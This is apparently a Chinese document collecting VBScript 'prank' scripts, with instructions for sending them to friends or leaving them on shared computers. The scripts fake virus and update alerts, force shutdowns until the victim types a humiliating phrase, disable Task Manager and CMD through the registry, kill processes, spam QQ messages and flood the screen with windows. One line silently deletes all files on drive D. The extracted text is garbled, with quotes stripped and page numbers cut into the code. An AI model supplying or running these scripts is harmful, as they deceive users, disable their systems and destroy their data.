vbs整人代码.docx

1、vbs整人代码【vbs整人代码网上收集的】#vbs整人代码1#msgbox 要求：&vbcrlf&1、要同时涉及3大门派&vbcrlf&2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理&vbcrlf&3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念&vbcrlf&4、越短越好&vbcrlf&vbcrlf&第N天 有人来投稿 全文只有九个字:&vbcrlf&vbcrlf&.,0,武侠小说征文msgbox 秃驴 敢跟贫道抢师太,64,投稿set ws=createobject(wscript.shell)sub sleep (s)wscript.sleep

2、 s * 1000end subsleep 900ws.popup windows检测到有重要更新未安装&vbcrlf&vbcrlf&系统将在30秒后自动下载更新并安装,30,Windows Xp,64sleep 10ws.popup 正在下载更新.&vbcrlf&vbcrlf&稍候将提示您安装,10,Windows Xp,64sleep 900ws.popup windows已将一病毒载入计算机中&vbcrlf&vbcrlf&稍后即将运行,15,病毒,64sleep 3ws.run taskkill /f /im qq.exe,vbhide : sleep 5ws.regwrite HKLM

3、softwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop,00000001,REG_DWORDwscript.sleep 500ws.run taskkill /f /im explorer.exe,vbhide : wscript.sleep 2000ws.run explorer.exe,vbhide : wscript.sleep 6000ws.run notepad,3 : wscript.sleep 2000ws.sendkeys : wscript.sleep 1000verybat=split(gongxi ,

4、ni ,ni ,yijing ,bei ,wo ,kongzhi ,le ,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,name , keneng ,hai ,youjiu ,fouze , haha haha _youxi ,kaishi la ,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,yihui ,wo ,zailai ,zhaoni , haizi ,)for each wind in verybatws.sendkeys windwscript.sleep 500next#vbs整人代码2 #set ier

5、unner=createobject(wscript.shell)ierunner.run cmd /c start iexplore 自己的网站站wscript.sleep 8000ierunner.sendkeys %F4on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(wscript.shell)WSHshellA.run cmd.exe /c shutdown -r -t 3000 -c 快说你爱我 ,0 ,truedim ado while(a 我爱你)a = inputbox (说你爱我,就不

6、关机，快点，说 我爱你 ,说不说,不说,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutdown -a,0 ,truemsgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，真过瘾#vbs整人代码3 #set s=createobj

7、ect(wscript.shell)set bag=getobject(winmgmts:.rootcimv2)set pipe=bag.execquery(select * from win32_process where name=wscript.exe)For Each id in pipeif instr(1,id.CommandLine,wscript.scriptfullname)0 and pipe.count=2 thens.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMg

8、r,0,REG_DWORDs.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,0,REG_DWORDid.terminate()elses.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,1,REG_DWORDs.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,1,REG_DWORDfor i=1 to 60s.popup系统将在& 60-

9、i &秒后关机.,1,系统提示,4096+48nextSet colOS = GetObject(winmgmts:(Shutdown).ExecQuery(Select * FROM Win32_OperatingSystem)For Each eOs In colOSeOs.Win32Shutdown(2)Nextend ifNext一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=-On Error Resume NextDim wsh,yeset wsh=createo

10、bject(wscript.shell)for i=1 to 10wscript.sleep 700wsh.AppActivate(与 xx 聊天中)wsh.sendKeys vwsh.sendKeys iwsh.sendKeys %snextwscript.quit-QQ骚扰信息,也可以用在其它程序上。二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈-do msgbox You are foolish!loop-三、打开无数个计算器，直到死机-set wsh=createobject(wscript.shell)dowsh.run calcloop-四、直接关机-d

11、im WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run shutdown -f -s -t 00,0 ,true-五、删除D:所有文件-dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd /c del d:*.* / f /q /s,0 ,true-六、不断弹出窗口-while(1)msgbox 哈哈 你被耍了！loop-七、不断按下alt+f4 （开什么都关闭）-dim WSHshellset W

12、SHshell = wscript.createobject(wscript.shell)while(1)WSHshell.SendKeys %F4loop-八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)-dim sdo until s=500s=s+1msgbox 哥们，给我按500次回车吧,64loop- -九、关不掉的窗口-WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！&TSName)WScript.Echo(你是可爱的小朋吗?)WScript.Echo(哈,我想你拉，这你都不知道吗？)WScrip

13、t.Echo(怎么才来，说是不是不关心我)WScript.Echo(哼,我生气拉，等你这么久，心都凉啦。)WScript.Echo(小强很生气，后果很严重哦。)WScript.Echo(嘿嘿！你也会很惨滴哦)WScript.Echo(是不是想清除我？)WScript.Echo(那你要点上50下哦，不过会给你惊喜滴)WScript.Echo(还剩49下，快点点哦)WScript.Echo(还剩48下，快点，小笨蛋！)WScript.Echo(还剩47下对，就这样快点点！)WScript.Echo(还剩46下。你啊就是笨，要快哦，我先不打扰你工作。)WScript.Echo(还剩45下，记得要快哦

14、！)WScript.Echo(还剩43下)WScript.Echo(还剩42下)WScript.Echo(还剩41下)WScript.Echo(还剩40下)WScript.Echo(还剩39下)WScript.Echo(还剩38下)WScript.Echo(还剩37下)WScript.Echo(还剩36下)WScript.Echo(还剩35下)WScript.Echo(还剩34下)WScript.Echo(还剩33下)WScript.Echo(还剩32下)WScript.Echo(还剩30下)WScript.Echo(还剩29下)WScript.Echo(还剩28下)WScript.Echo(

15、还剩27下)WScript.Echo(还剩26下)WScript.Echo(还剩25下)WScript.Echo(还剩24下)WScript.Echo(还剩23下)WScript.Echo(还剩22下)WScript.Echo(还剩21下)WScript.Echo(还剩20下)WScript.Echo(还剩19下)WScript.Echo(还剩18下)WScript.Echo(还剩17下)WScript.Echo(还剩16下)WScript.Echo(还剩15下)WScript.Echo(还剩14下)WScript.Echo(还剩13下停停！慢点，我有话要说)WScript.Echo(还剩12

16、下，你继续点我就会消失滴)WScript.Echo(还剩11下，以后就看不到我拉。555555)WScript.Echo(还剩10下，你现在可以选择停止！)WScript.Echo(还剩9下。你还点啊，不要我拉？)WScript.Echo(还剩8下，有点伤心拉，干嘛丢弃人家)WScript.Echo(还剩7下。疯了，你有点负意！)WScript.Echo(还剩6下。对。你就点吧，我恨你！)WScript.Echo(还剩5下，不明白，删除我你就好吗？)WScript.Echo(还剩4下！真要删除我？)WScript.Echo(还剩3下。可是我真的很眷恋你。)WScript.Echo(还剩2下。不

17、要这么绝情嘛，人家是爱你的！)WScript.Echo(还剩1下。哼，既然你这么绝情。也别怪我无义！)WScript.Echo(我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Ech

18、o(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)两个整人vbs代码：测试环境：Windows 2003 系统大家好 我是Vanlisa QQ137841986今天给大家带来两个整人的VBS脚本 希望大家喜欢VBS脚本大家都知道吧 第一个是定时关机的如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法我们来看下这个脚本-on error resume nextdim WSHshellAset WSHsh

19、ellA = wscript.createobject(wscript.shell)WSHshellA.run cmd.exe /c shutdown -r -t 180 -c 说我是猪，不说我是猪就一分钟关机，不信，试下 ,0 ,truedim ado while(a 我是猪)a = inputbox (说我是猪,就不关机，快撒，说 我是猪,说不说,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛dim WSHshellset WSH

20、shell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutdown -a,0 ,truemsgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，好乖-新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了cmd.exe /c shutdown -r -t 180 -c这里的数字可以修改关机时间 180秒这些文字也可以自设 这个脚本启用cmd 里的关机程序如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除 我们试下 这时定时关机已经没了 但是还有个关不掉的

21、窗口 我们打开任务管理器 结束掉Wscript.exe 这个进程就OK了 这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主-下面看第二个整人的脚本-set ws=createobject(wscript.shell)call shutdown(1)do while a我是猪a=inputbox(快在下面的框框里输入我是猪,否则后果自负，快输我是猪 ,输不输,)loopcall shutdown(2)msgbox 早说就行了嘛,4096+64msgbox再输一遍我是猪!,4096+64msgbox我是猪!,4096+64MsgBox最后一次!,4096+64MsgBox如果你

22、很快的点过去,不看的话,4096+64MsgBox我就要你踩我空间的!哼!,4096+64MsgBox从前有座山!,4096+64MsgBox山里有个庙.,4096+64MsgBox庙里有个老和尚在讲故事.,4096+64ws.runiexplore.exe 自己的网站msgbox哎呀累了！数绵羊哄我睡觉,4096+64for i=1 to 100MsgBox i&只绵羊,4096+64nextmsgbox哎呀我困了，这次就饶过你吧，下次注意哦!,4096+64msgbox最后问个问题，我是不是大好人！,4096+64if inputbox(是不是,请选择,是)是 thencall shutd

23、own(1)end ifsub shutdown(s)select case scase 1ws.runcmd.exe /c shutdown -r -t 60 -c,0case 2ws.runcmd.exe /c shutdown -a,0end selectend sub-ws.runiexplore.exe 自己的网站这段代码可以改成你自己设定的地址如果别人不输我是猪的话就会一直点下去 点到你设定的数字for i=1 to 100从1到100可以改成 20 其他的数字解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe这个进程就好了QQ2009整人代码：set s=createobject(wscript.shell)set bag=getobject(winmgmts:.rootcimv2)set pipe=bag.execquery(select * from win32_process where name=wscript.exe)For Each id in pipeif instr(1,